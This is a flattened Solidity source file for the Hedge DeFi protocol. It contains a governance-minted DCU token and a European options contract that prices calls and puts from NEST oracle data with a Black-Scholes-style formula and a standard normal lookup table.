open-zeppelin/upgrades /// @param governance IHedgeGovernance implementation contract address function initialize(address governance) public virtual { require(_governance == address(0), "Hedge:!initialize"); _governance = governance; } /// @dev Rewritten in the implementation contract, for load other contract addresses. Call /// super.update(newGovernance) when overriding, and override method without onlyGovernance /// @param newGovernance IHedgeGovernance implementation contract address function update(address newGovernance) public virtual { address governance = _governance; require(governance == msg.sender || IHedgeGovernance(governance).checkGovernance(msg.sender, 0), "Hedge:!gov"); _governance = newGovernance; } /// @dev Migrate funds from current contract to HedgeDAO /// @param tokenAddress Destination token address.(0 means eth) /// @param value Migrate amount function migrate(address tokenAddress, uint value) external onlyGovernance { address to = IHedgeGovernance(_governance).getHedgeDAOAddress(); if (tokenAddress == address(0)) { IHedgeDAO(to).addETHReward { value: value } (address(0)); } else { TransferHelper.safeTransfer(tokenAddress, to, value); } } //---------modifier------------ modifier onlyGovernance() { require(IHedgeGovernance(_governance).checkGovernance(msg.sender, 0), "Hedge:!gov"); _; } modifier noContract() { require(msg.sender == tx.origin, "Hedge:!contract"); _; } } // File contracts/HedgeFrequentlyUsed.sol // GPL-3.0-or-later pragma solidity ^0.8.6; /// @dev Base contract of Hedge contract HedgeFrequentlyUsed is HedgeBase { // Address of DCU contract address constant DCU_TOKEN_ADDRESS = 0xf56c6eCE0C0d6Fbb9A53282C0DF71dBFaFA933eF; // Address of NestPriceFacade contract address constant NEST_PRICE_FACADE_ADDRESS = 0xB5D2890c061c321A5B6A4a4254bb1522425BAF0A; // USDT代币地址 address constant USDT_TOKEN_ADDRESS = 0xdAC17F958D2ee523a2206206994597C13D831ec7; // USDT代币的基数 uint constant USDT_BASE = 1000000; } // File @openzeppelin/contracts/token/ERC20/extensions/[email protected] // MIT pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File @openzeppelin/contracts/utils/[email protected] // MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/token/ERC20/[email protected] // MIT pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File contracts/DCU.sol // GPL-3.0-or-later pragma solidity ^0.8.6; /// @dev DCU代币 contract DCU is HedgeBase, ERC20("Decentralized Currency Unit", "DCU") { // 保存挖矿权限地址 mapping(address=>uint) _minters; constructor() { } modifier onlyMinter { require(_minters[msg.sender] == 1, "DCU:not minter"); _; } /// @dev 设置挖矿权限 /// @param account 目标账号 /// @param flag 挖矿权限标记,只有1表示可以挖矿 function setMinter(address account, uint flag) external onlyGovernance { _minters[account] = flag; } /// @dev 检查挖矿权限 /// @param account 目标账号 /// @return flag 挖矿权限标记,只有1表示可以挖矿 function checkMinter(address account) external view returns (uint) { return _minters[account]; } /// @dev 铸币 /// @param to 接受地址 /// @param value 铸币数量 function mint(address to, uint value) external onlyMinter { _mint(to, value); } /// @dev 销毁 /// @param from 目标地址 /// @param value 销毁数量 function burn(address from, uint value) external onlyMinter { _burn(from, value); } } // File contracts/HedgeOptions.sol // GPL-3.0-or-later pragma solidity ^0.8.6; /// @dev 欧式期权 contract HedgeOptions is HedgeFrequentlyUsed, IHedgeOptions { /// @dev 期权结构 struct Option { address tokenAddress; uint56 strikePrice; bool orientation; uint32 exerciseBlock; //uint totalSupply; mapping(address=>uint) balances; } // 区块时间 uint constant BLOCK_TIME = 14; // 64位二进制精度的1 int128 constant ONE = 0x10000000000000000; // 64位二进制精度的50000 uint constant V50000 = 0x0C3500000000000000000; // 期权卖出价值比例,万分制。9750 uint constant SELL_RATE = 9500; // σ-usdt 0.00021368 波动率,每个币种独立设置(年化120%) uint constant SIGMA_SQ = 45659142400; // μ-usdt 0.000000025367 漂移系数,每个币种独立设置(年化80%) uint constant MIU = 467938556917; // 期权行权最小间隔 6000 区块数 行权时间和当前时间最小间隔区块数,统一设置 uint constant MIN_PERIOD = 180000; // 期权代币映射 mapping(uint=>uint) _optionMapping; // // 配置参数 // mapping(address=>Config) _configs; // 缓存代币的基数值 mapping(address=>uint) _bases; // 期权代币数组 Option[] _options; constructor() { } /// @dev To support open-zeppelin/upgrades /// @param governance IHedgeGovernance implementation contract address function initialize(address governance) public override { super.initialize(governance); _options.push(); } // /// @dev 修改指定代币通道的配置 // /// @param tokenAddress 目标代币地址 // /// @param config 配置对象 // function setConfig(address tokenAddress, Config calldata config) external override { // _configs[tokenAddress] = config; // } // /// @dev 获取指定代币通道的配置 // /// @param tokenAddress 目标代币地址 // /// @return 配置对象 // function getConfig(address tokenAddress) external view override returns (Config memory) { // return _configs[tokenAddress]; // } /// @dev 返回指定期权的余额 /// @param index 目标期权索引号 /// @param addr 目标地址 function balanceOf(uint index, address addr) external view override returns (uint) { return _options[index].balances[addr]; } /// @dev 查找目标账户的期权(倒序) /// @param start 从给定的合约地址对应的索引向前查询(不包含start对应的记录) /// @param count 最多返回的记录条数 /// @param maxFindCount 最多查找maxFindCount记录 /// @param owner 目标账户地址 /// @return optionArray 期权信息列表 function find( uint start, uint count, uint maxFindCount, address owner ) external view override returns (OptionView[] memory optionArray) { optionArray = new OptionView[](count); // 计算查找区间i和end Option[] storage options = _options; uint i = options.length; uint end = 0; if (start > 0) { i = start; } if (i > maxFindCount) { end = i - maxFindCount; } // 循环查找,将符合条件的记录写入缓冲区 for (uint index = 0; index < count && i > end;) { Option storage option = options[--i]; if (option.balances[owner] > 0) { optionArray[index++] = _toOptionView(option, i, owner); } } } /// @dev 列出历史期权信息 /// @param offset Skip previous (offset) records /// @param count Return (count) records /// @param order Order. 0 reverse order, non-0 positive order /// @return optionArray 期权信息列表 function list( uint offset, uint count, uint order ) external view override returns (OptionView[] memory optionArray) { // 加载代币数组 Option[] storage options = _options; // 创建结果数组 optionArray = new OptionView[](count); uint length = options.length; uint i = 0; // 倒序 if (order == 0) { uint index = length - offset; uint end = index > count ? index - count : 0; while (index > end) { Option storage option = options[--index]; optionArray[i++] = _toOptionView(option, index, msg.sender); } } // 正序 else { uint index = offset; uint end = index + count; if (end > length) { end = length; } while (index < end) { optionArray[i++] = _toOptionView(options[index], index, msg.sender); ++index; } } } /// @dev 获取已经开通的欧式期权代币数量 /// @return 已经开通的欧式期权代币数量 function getOptionCount() external view override returns (uint) { return _options.length; } /// @dev 获取期权信息 /// @param tokenAddress 目标代币地址,0表示eth /// @param strikePrice 用户设置的行权价格,结算时系统会根据标的物当前价与行权价比较,计算用户盈亏 /// @param orientation 看涨/看跌两个方向。true:看涨,false:看跌 /// @param exerciseBlock 到达该日期后用户手动进行行权,日期在系统中使用区块号进行记录 /// @return 期权信息 function getOptionInfo( address tokenAddress, uint strikePrice, bool orientation, uint exerciseBlock ) external view override returns (OptionView memory) { uint index = _optionMapping[_getKey(tokenAddress, strikePrice, orientation, exerciseBlock)]; return _toOptionView(_options[index], index, msg.sender); } /// @dev 开仓 /// @param tokenAddress 目标代币地址,0表示eth /// @param strikePrice 用户设置的行权价格,结算时系统会根据标的物当前价与行权价比较,计算用户盈亏 /// @param orientation 看涨/看跌两个方向。true:看涨,false:看跌 /// @param exerciseBlock 到达该日期后用户手动进行行权,日期在系统中使用区块号进行记录 /// @param dcuAmount 支付的dcu数量 function open( address tokenAddress, uint strikePrice, bool orientation, uint exerciseBlock, uint dcuAmount ) external payable override { // 1. 调用预言机获取价格 uint oraclePrice = _queryPrice(tokenAddress, msg.value, msg.sender); // 2. 计算可以买到的期权份数 uint amount = estimate(tokenAddress, oraclePrice, strikePrice, orientation, exerciseBlock, dcuAmount); // 3. 获取或创建期权代币 uint key = _getKey(tokenAddress, strikePrice, orientation, exerciseBlock); uint optionIndex = _optionMapping[key]; Option storage option = _options[optionIndex]; if (optionIndex == 0) { optionIndex = _options.length; option = _options.push(); option.tokenAddress = tokenAddress; option.strikePrice = _encodeFloat(strikePrice); option.orientation = orientation; option.exerciseBlock = uint32(exerciseBlock); // 将期权代币地址存入映射和数组,便于后面检索 _optionMapping[key] = optionIndex; // 新期权 //emit New(tokenAddress, strikePrice, orientation, exerciseBlock, optionIndex); } // 4. 销毁权利金 DCU(DCU_TOKEN_ADDRESS).burn(msg.sender, dcuAmount); // 5. 分发期权凭证 option.balances[msg.sender] += amount; // 开仓事件 emit Open(optionIndex, dcuAmount, msg.sender, amount); } /// @dev 预估开仓可以买到的期权币数量 /// @param tokenAddress 目标代币地址,0表示eth /// @param oraclePrice 当前预言机价格价 /// @param strikePrice 用户设置的行权价格,结算时系统会根据标的物当前价与行权价比较,计算用户盈亏 /// @param orientation 看涨/看跌两个方向。true:看涨,false:看跌 /// @param exerciseBlock 到达该日期后用户手动进行行权,日期在系统中使用区块号进行记录 /// @param dcuAmount 支付的dcu数量 /// @return amount 预估可以获得的期权币数量 function estimate( address tokenAddress, uint oraclePrice, uint strikePrice, bool orientation, uint exerciseBlock, uint dcuAmount ) public view override returns (uint amount) { //Config memory config = _configs[tokenAddress]; //uint minPeriod = uint(config.minPeriod); require(exerciseBlock > block.number + MIN_PERIOD, "FEO:exerciseBlock to small"); // 1. 获取或创建期权代币 // 2. 调用预言机获取价格 // 3. 计算权利金(需要的dcu数量) // 按照平均每14秒出一个块计算 uint v = calcV( tokenAddress, oraclePrice, strikePrice, orientation, exerciseBlock ); if (orientation) { //v = _calcVc(config, oraclePrice, T, strikePrice); // Vc>=S0*1%; Vp>=K*1% // require(v * 100 >> 64 >= oraclePrice, "FEO:vc must greater than S0*1%"); if (v * 100 >> 64 < oraclePrice) { v = oraclePrice * 0x10000000000000000 / 100; } } else { //v = _calcVp(config, oraclePrice, T, strikePrice); // Vc>=S0*1%; Vp>=K*1% // require(v * 100 >> 64 >= strikePrice, "FEO:vp must greater than K*1%"); if (v * 100 >> 64 < strikePrice) { v = strikePrice * 0x10000000000000000 / 100; } } amount = (USDT_BASE << 64) * dcuAmount / v; } /// @dev 行权 /// @param index 期权编号 /// @param amount 结算的期权分数 function exercise(uint index, uint amount) external payable override { // 1. 获取期权信息 Option storage option = _options[index]; address tokenAddress = option.tokenAddress; uint strikePrice = _decodeFloat(option.strikePrice); bool orientation = option.orientation; uint exerciseBlock = uint(option.exerciseBlock); require(block.number >= exerciseBlock, "FEO:at maturity"); // 2. 销毁期权代币 option.balances[msg.sender] -= amount; // 3. 调用预言机获取价格,读取预言机在指定区块的价格 // 3.1. 获取token相对于eth的价格 uint tokenAmount = 1 ether; uint fee = msg.value; if (tokenAddress != address(0)) { fee = msg.value >> 1; (, tokenAmount) = INestPriceFacade(NEST_PRICE_FACADE_ADDRESS).findPrice { value: fee } (tokenAddress, exerciseBlock, msg.sender); } // 3.2. 获取usdt相对于eth的价格 (, uint usdtAmount) = INestPriceFacade(NEST_PRICE_FACADE_ADDRESS).findPrice { value: fee } (USDT_TOKEN_ADDRESS, exerciseBlock, msg.sender); // 将token价格转化为以usdt为单位计算的价格 uint oraclePrice = usdtAmount * _getBase(tokenAddress) / tokenAmount; // 4. 分情况计算用户可以获得的dcu数量 uint gain = 0; // 计算结算结果 // 看涨期权 if (orientation) { // 赌赢了 if (oraclePrice > strikePrice) { gain = amount * (oraclePrice - strikePrice) / USDT_BASE; } } // 看跌期权 else { // 赌赢了 if (oraclePrice < strikePrice) { gain = amount * (strikePrice - oraclePrice) / USDT_BASE; } } // 5. 用户赌赢了,给其增发赢得的dcu if (gain > 0) { DCU(DCU_TOKEN_ADDRESS).mint(msg.sender, gain); } // 行权事件 emit Exercise(index, amount, msg.sender, gain); } /// @dev 卖出期权 /// @param index 期权编号 /// @param amount 卖出的期权分数 function sell(uint index, uint amount) external payable override { // 期权卖出公式:vt=Max(ct(T,K)*0.975,0)其中ct(K,T)是按照定价公式计算的期权成本, // 注意,不是包含了不低于1%这个设定 // 1. 获取期权信息 Option storage option = _options[index]; address tokenAddress = option.tokenAddress; uint strikePrice = _decodeFloat(option.strikePrice); bool orientation = option.orientation; uint exerciseBlock = uint(option.exerciseBlock); // 2. 销毁期权代币 option.balances[msg.sender] -= amount; // 3. 调用预言机获取价格,读取预言机在指定区块的价格 uint oraclePrice = _queryPrice(tokenAddress, msg.value, msg.sender); // 4. 分情况计算当前情况下的期权价格 // 按照平均每14秒出一个块计算 uint dcuAmount = amount * calcV( tokenAddress, oraclePrice, strikePrice, orientation, exerciseBlock ) * SELL_RATE / (USDT_BASE * 10000 << 64); if (dcuAmount > 0) { DCU(DCU_TOKEN_ADDRESS).mint(msg.sender, dcuAmount); } // 卖出事件 emit Sell(index, amount, msg.sender, dcuAmount); } /// @dev 计算期权价格 /// @param tokenAddress 目标代币地址,0表示eth /// @param oraclePrice 当前预言机价格价 /// @param strikePrice 用户设置的行权价格,结算时系统会根据标的物当前价与行权价比较,计算用户盈亏 /// @param orientation 看涨/看跌两个方向。true:看涨,false:看跌 /// @param exerciseBlock 到达该日期后用户手动进行行权,日期在系统中使用区块号进行记录 /// @return v 期权价格,需要除以18446744073709551616000000 function calcV( address tokenAddress, uint oraclePrice, uint strikePrice, bool orientation, uint exerciseBlock ) public view override returns (uint v) { require(tokenAddress == address(0), "FEO:not allowed"); //Config memory config = _configs[tokenAddress]; //uint minPeriod = uint(config.minPeriod); //require(minPeriod > 0, "FEO:not allowed"); //require(exerciseBlock > block.number + minPeriod, "FEO:exerciseBlock to small"); // 1. 获取或创建期权代币 // 2. 调用预言机获取价格 // 3. 计算权利金(需要的dcu数量) // 按照平均每14秒出一个块计算 uint T = (exerciseBlock - block.number) * BLOCK_TIME; v = orientation ? _calcVc(oraclePrice, T, strikePrice) : _calcVp(oraclePrice, T, strikePrice); } // 转化位OptionView function _toOptionView( Option storage option, uint index, address owner ) private view returns (OptionView memory) { return OptionView( index, option.tokenAddress, _decodeFloat(option.strikePrice), option.orientation, uint(option.exerciseBlock), option.balances[owner] ); } // 根据期权信息获取索引key function _getKey( address tokenAddress, uint strikePrice, bool orientation, uint exerciseBlock ) private pure returns (uint) { //return keccak256(abi.encodePacked(tokenAddress, strikePrice, orientation, exerciseBlock)); require(exerciseBlock < 0x100000000, "FEO:exerciseBlock to large"); return (uint(uint160(tokenAddress)) << 96) | (uint(_encodeFloat(strikePrice)) << 40) | (exerciseBlock << 8) | (orientation ? 1 : 0); } // 获取代币的基数值 function _getBase(address tokenAddress) private returns (uint base) { if (tokenAddress == address(0)) { base = 1 ether; } else { base = _bases[tokenAddress]; if (base == 0) { base = 10 ** ERC20(tokenAddress).decimals(); _bases[tokenAddress] = base; } } } // 将18位十进制定点数转化为64位二级制定点数 function _d18TOb64(uint v) private pure returns (int128) { require(v < 0x6F05B59D3B200000000000000000000, "FEO:can't convert to 64bits"); return int128(int((v << 64) / 1 ether)); } // 将uint转化为int128 function _toInt128(uint v) private pure returns (int128) { require(v < 0x80000000000000000000000000000000, "FEO:can't convert to int128"); return int128(int(v)); } // 将int128转化为uint function _toUInt(int128 v) private pure returns (uint) { require(v >= 0, "FEO:can't convert to uint"); return uint(int(v)); } // 通过查表的方法计算标准正态分布函数 function _snd(int128 x) private pure returns (int128) { uint[28] memory table = [ /* */ ///////////////////// STANDARD NORMAL TABLE ////////////////////////// /* */ 0x174A15BF143412A8111C0F8F0E020C740AE6095807CA063B04AD031E018F0000, // ///// 0x2F8C2E0F2C912B1229922811268F250B23872202207D1EF61D6F1BE61A5D18D8, // /* */ 0x2F8C2E0F2C912B1229922811268F250B23872202207D1EF61D6F1BE61A5D18D4, // /* */ 0x46A2453C43D4426B41003F943E263CB63B4539D3385F36EA357333FB32823108, // /* */ 0x5C0D5AC5597B582F56E05590543E52EA5194503C4EE24D874C294ACA49694807, // /* */ 0x6F6C6E466D1F6BF56AC9699B686A6738660364CC6392625761195FD95E975D53, // /* */ 0x807E7F7F7E7D7D797C737B6A7A5F79517841772F761A750373E972CD71AF708E, // /* */ 0x8F2A8E518D768C998BB98AD789F2890B88218736864785568463836E8276817B, // /* */ 0x9B749AC19A0B9953989997DD971E965D959A94D4940C9342927591A690D49000, // /* */ 0xA57CA4ECA459A3C4A32EA295A1FAA15CA0BDA01C9F789ED29E2A9D809CD39C25, // ///// 0xA57CA4ECA459A3C4A32EA295A1FAA15DA0BDA01C9F789ED29E2A9D809CD39C25, // /* */ 0xAD78AD07AC93AC1EABA7AB2EAAB3AA36A9B8A937A8B5A830A7AAA721A697A60B, // /* */ 0xB3AAB353B2FAB2A0B245B1E7B189B128B0C6B062AFFDAF96AF2DAEC2AE56ADE8, // /* */ 0xB859B818B7D6B793B74EB708B6C0B678B62EB5E2B595B547B4F7B4A6B454B400, // /* */ 0xBBCDBB9EBB6EBB3CBB0ABAD7BAA2BA6DBA36B9FFB9C6B98CB951B915B8D8B899, // /* */ 0xBE49BE27BE05BDE2BDBEBD99BD74BD4DBD26BCFEBCD5BCACBC81BC56BC29BBFC, // /* */ 0xC006BFEEBFD7BFBEBFA5BF8CBF72BF57BF3CBF20BF03BEE6BEC8BEA9BE8ABE69, // /* */ 0xC135C126C116C105C0F4C0E3C0D1C0BFC0ACC099C086C072C05DC048C032C01C, // /* */ 0xC200C1F5C1EBC1E0C1D5C1C9C1BEC1B1C1A5C198C18BC17EC170C162C154C145, // /* */ 0xC283C27CC275C26EC267C260C258C250C248C240C238C22FC226C21DC213C20A, // /* */ 0xC2D6C2D2C2CDC2C9C2C5C2C0C2BBC2B6C2B1C2ACC2A7C2A1C29BC295C28FC289, // /* */ 0xC309C306C304C301C2FEC2FCC2F9C2F6C2F2C2EFC2ECC2E8C2E5C2E1C2DEC2DA, // /* */ 0xC328C326C325C323C321C320C31EC31CC31AC318C316C314C312C310C30EC30B, // /* */ 0xC33AC339C338C337C336C335C334C333C332C331C330C32EC32DC32CC32AC329, // /* */ 0xC344C343C343C342C342C341C341C340C33FC33FC33EC33DC33DC33CC33BC33A, // /* */ 0xC34AC349C349C349C348C348C348C348C347C347C346C346C346C345C345C344, // /* */ 0xC34DC34DC34CC34CC34CC34CC34CC34CC34BC34BC34BC34BC34BC34AC34AC34A, // /* */ 0xC34EC34EC34EC34EC34EC34EC34EC34EC34EC34EC34DC34DC34DC34DC34DC34D, // /* */ 0xC34FC34FC34FC34FC34FC34FC34FC34FC34FC34FC34FC34FC34FC34FC34EC34E, // /* */ 0xC350C350C350C350C350C350C34FC34FC34FC34FC34FC34FC34FC34FC34FC34F // /* */ //////////////////// MADE IN CHINA 2021-08-24 //////////////////////// ]; uint ux = uint(int(x < 0 ? -x : x)) * 100; uint i = ux >> 64; uint v = V50000; if (i < 447) { v = uint((table[i >> 4] >> ((i & 0xF) << 4)) & 0xFFFF) << 64; v = ( ( ( (uint((table[(i + 1) >> 4] >> (((i + 1) & 0xF) << 4)) & 0xFFFF) << 64) - v ) * (ux & 0xFFFFFFFFFFFFFFFF) //(ux - (i << 64)) ) >> 64 ) + v; } if (x > 0) { v = V50000 + v; } else { v = V50000 - v; } return int128(int(v / 100000)); } // 查询token价格 function _queryPrice(address tokenAddress, uint fee, address payback) private returns (uint oraclePrice) { // 1.1. 获取token相对于eth的价格 uint tokenAmount = 1 ether; //uint fee = msg.value; if (tokenAddress != address(0)) { fee >>= 1; (, tokenAmount) = INestPriceFacade(NEST_PRICE_FACADE_ADDRESS).latestPrice { value: fee } (tokenAddress, payback); } // 1.2. 获取usdt相对于eth的价格 (, uint usdtAmount) = INestPriceFacade(NEST_PRICE_FACADE_ADDRESS).latestPrice { value: fee } (USDT_TOKEN_ADDRESS, payback); // 1.3. 将token价格转化为以usdt为单位计算的价格 oraclePrice = usdtAmount * _getBase(tokenAddress) / tokenAmount; } // 计算看涨期权价格 function _calcVc(uint S0, uint T, uint K) private pure returns (uint vc) { int128 sigmaSQ_T = _d18TOb64(SIGMA_SQ * T); int128 miu_T = _toInt128(MIU * T); int128 sigma_t = ABDKMath64x64.sqrt(sigmaSQ_T); int128 D1 = _D1(S0, K, sigmaSQ_T, miu_T); int128 d = ABDKMath64x64.div(D1, sigma_t); uint left = _toUInt(ABDKMath64x64.mul( ABDKMath64x64.exp(miu_T), ABDKMath64x64.sub( ONE, _snd(ABDKMath64x64.sub(d, sigma_t)) ) )) * S0; uint right = _toUInt(ABDKMath64x64.sub(ONE, _snd(d))) * K; vc = left > right ? left - right : 0; } // 计算看跌期权价格 function _calcVp(uint S0, uint T, uint K) private pure returns (uint vp) { int128 sigmaSQ_T = _d18TOb64(SIGMA_SQ * T); int128 miu_T = _toInt128(MIU * T); int128 sigma_t = ABDKMath64x64.sqrt(sigmaSQ_T); int128 D1 = _D1(S0, K, sigmaSQ_T, miu_T); int128 d = ABDKMath64x64.div(D1, sigma_t); uint left = _toUInt(_snd(d)) * K; uint right = _toUInt(ABDKMath64x64.mul( ABDKMath64x64.exp(miu_T), _snd(ABDKMath64x64.sub(d, sigma_t)) )) * S0; vp = left > right ? left - right : 0; } // 计算公式种的d1,因为没有除以σ,所以命名为D1 function _D1(uint S0, uint K, int128 sigmaSQ_T, int128 miu_T) private pure returns (int128) { //require(K < 0x1000000000000000000000000000000000000000000000000, "FEO:K can't ROL 64bits"); return ABDKMath64x64.sub( ABDKMath64x64.add( ABDKMath64x64.ln(_toInt128(K * 0x10000000000000000 / S0)), sigmaSQ_T >> 1 ), miu_T ); } /// @dev Encode the uint value as a floating-point representation in the form of fraction * 16 ^ exponent /// @param value Destination uint value /// @return float format function _encodeFloat(uint value) private pure returns (uint56) { uint exponent = 0; while (value > 0x3FFFFFFFFFFFF) { value >>= 4; ++exponent; } return uint56((value << 6) | exponent); } /// @dev Decode the floating-point representation of fraction * 16 ^ exponent to uint /// @param floatValue fraction value /// @return decode format function _decodeFloat(uint56 floatValue) private pure returns (uint) { return (uint(floatValue) >> 6) << ((uint(floatValue) & 0x3F) << 2); } }
1.3. 将token价格转化为以usdt为单位计算的价格
oraclePrice = usdtAmount * _getBase(tokenAddress) / tokenAmount;
482,508
